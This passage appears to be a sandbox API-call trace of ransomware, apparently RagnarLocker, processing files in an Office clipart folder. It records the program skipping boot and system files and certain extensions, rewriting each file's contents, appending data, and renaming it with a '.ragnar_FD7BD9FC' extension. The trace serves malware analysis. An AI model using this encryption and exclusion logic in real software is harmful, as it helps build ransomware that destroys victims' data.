nNumberOfBytesToUnlockLow=0x1a7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.046] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.046] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.046] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.046] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.046] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.046] GetProcessHeap () returned 0x580000 [0082.046] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.046] CloseHandle (hObject=0xf4) returned 1 [0082.046] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" [0082.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ragnar_FD7BD9FC" [0082.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0082.047] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.047] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00319_.WMF" | out: lpString1="EN00319_.WMF") returned="EN00319_.WMF" [0082.047] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned=".WMF" [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="autorun.inf") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="boot.ini") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="bootfont.bin") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="bootsect.bak") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="bootmgr") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="bootmgr.efi") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="desktop.ini") returned 1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="iconcache.db") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="ntldr") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="ntuser.dat") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="ntuser.ini") returned -1 [0082.047] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="thumbs.db") returned -1 [0082.047] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.047] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.048] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.048] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.048] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.048] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.048] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0082.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.048] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2280) returned 1 [0082.048] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.048] GetProcessHeap () returned 0x580000 [0082.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.048] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.050] VirtualAlloc (lpAddress=0x0, dwSize=0x8e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.050] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8e8, lpOverlapped=0x0) returned 1 [0082.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.050] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.050] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8e8, lpOverlapped=0x0) returned 1 [0082.050] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.050] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.050] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.051] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.051] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.051] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.051] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.051] GetProcessHeap () returned 0x580000 [0082.051] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.051] CloseHandle (hObject=0xf4) returned 1 [0082.051] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" [0082.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ragnar_FD7BD9FC" [0082.051] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.052] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0082.052] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.052] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00320_.WMF" | out: lpString1="EN00320_.WMF") returned="EN00320_.WMF" [0082.052] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned=".WMF" [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="autorun.inf") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="boot.ini") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="bootfont.bin") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="bootsect.bak") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="bootmgr") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="bootmgr.efi") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="desktop.ini") returned 1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="iconcache.db") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="ntldr") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="ntuser.dat") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="ntuser.ini") returned -1 [0082.052] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="thumbs.db") returned -1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.052] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0082.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.053] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=736) returned 1 [0082.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.053] GetProcessHeap () returned 0x580000 [0082.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.053] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.055] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e0, lpOverlapped=0x0) returned 1 [0082.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.055] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.055] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e0, lpOverlapped=0x0) returned 1 [0082.055] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.055] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.055] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.055] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.056] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.056] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.056] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.056] GetProcessHeap () returned 0x580000 [0082.056] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.056] CloseHandle (hObject=0xf4) returned 1 [0082.056] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" [0082.056] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ragnar_FD7BD9FC" [0082.056] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.056] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0082.056] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.056] lstrcpyW (in: lpString1=0x1eb62e, lpString2="EN00397_.WMF" | out: lpString1="EN00397_.WMF") returned="EN00397_.WMF" [0082.056] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned=".WMF" [0082.056] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="autorun.inf") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="boot.ini") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="bootfont.bin") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="bootsect.bak") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="bootmgr") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="bootmgr.efi") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="desktop.ini") returned 1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="iconcache.db") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="ntldr") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="ntuser.dat") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="ntuser.ini") returned -1 [0082.057] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="thumbs.db") returned -1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.057] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0082.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.057] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17308) returned 1 [0082.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4393, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.058] GetProcessHeap () returned 0x580000 [0082.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.058] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.059] VirtualAlloc (lpAddress=0x0, dwSize=0x439c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.059] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x439c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x439c, lpOverlapped=0x0) returned 1 [0082.060] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.060] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x439c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.061] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x439c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x439c, lpOverlapped=0x0) returned 1 [0082.061] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x439c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.061] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x439c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.061] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.061] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.061] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, 